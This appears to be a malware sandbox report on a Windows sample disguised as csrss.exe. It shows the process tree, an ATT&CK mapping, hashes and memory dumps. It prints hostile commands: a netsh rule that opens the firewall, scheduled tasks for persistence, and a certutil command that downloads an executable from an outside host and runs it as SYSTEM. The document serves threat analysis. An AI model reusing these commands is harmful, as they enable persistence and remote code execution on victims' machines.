PID 968 wrote to memory of 936	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	csrss.exe
PID 968 wrote to memory of 936	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	csrss.exe
PID 968 wrote to memory of 936	968	a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe	csrss.exe

C:\Users\Admin\AppData\Local\Temp\a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
"C:\Users\Admin\AppData\Local\Temp\a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1056

C:\Users\Admin\AppData\Local\Temp\a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe
"C:\Users\Admin\AppData\Local\Temp\a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:968

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:896

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:1964

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:936

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1744

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1000

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193323.log C:\Windows\Logs\CBS\CbsPersist_20230129193323.cab
1⤵
- Drops file in Windows directory
PID:1352

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

Scheduled Task

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Disabling Security Tools

2

T1089

Install Root Certificate

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
5625cb2982b7118b5e262fcfea2f4851

SHA1
f34e4c803b7b89d5342d50aa42b2cbd55845e373

SHA256
a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e

SHA512
78f8e00bbdb173bc0646e6de3765001417c19a1431df763d2cb4113e5adfb9079dfde8611c490523bebae60dd696b2318a318d75c50c0c50a639d7938d773cf0

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
5625cb2982b7118b5e262fcfea2f4851

SHA1
f34e4c803b7b89d5342d50aa42b2cbd55845e373

SHA256
a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e

SHA512
78f8e00bbdb173bc0646e6de3765001417c19a1431df763d2cb4113e5adfb9079dfde8611c490523bebae60dd696b2318a318d75c50c0c50a639d7938d773cf0

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
5625cb2982b7118b5e262fcfea2f4851

SHA1
f34e4c803b7b89d5342d50aa42b2cbd55845e373

SHA256
a7c9ca6b516a442a00c165a9ac1f86b485565f5b970c05a43d63e4916f33b61e

SHA512
78f8e00bbdb173bc0646e6de3765001417c19a1431df763d2cb4113e5adfb9079dfde8611c490523bebae60dd696b2318a318d75c50c0c50a639d7938d773cf0

Download Submit
memory/896-62-0x0000000000000000-mapping.dmp

Download
memory/936-75-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/936-74-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/936-73-0x0000000000ED0000-0x0000000001278000-memory.dmp

Filesize
3.7MB

Download
memory/936-71-0x0000000000ED0000-0x0000000001278000-memory.dmp

Filesize
3.7MB

Download
memory/936-69-0x0000000000000000-mapping.dmp

Download
memory/968-64-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/968-66-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/968-60-0x0000000000DE0000-0x0000000001188000-memory.dmp

Filesize
3.7MB

Download
memory/968-58-0x0000000000DE0000-0x0000000001188000-memory.dmp

Filesize
3.7MB

Download
memory/968-72-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1056-54-0x0000000000FC0000-0x0000000001368000-memory.dmp

Filesize
3.7MB

Download
memory/1056-61-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1056-59-0x0000000001370000-0x0000000001B74000-memory.dmp

Filesize
8.0MB

Download
memory/1056-57-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1056-56-0x0000000001370000-0x0000000001B74000-memory.dmp

Filesize
8.0MB

Download
memory/1056-55-0x0000000000FC0000-0x0000000001368000-memory.dmp

Filesize
3.7MB

Download
memory/1964-65-0x000007FEFBB31000-0x000007FEFBB33000-memory.dmp

Filesize
8KB

Download
memory/1964-63-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads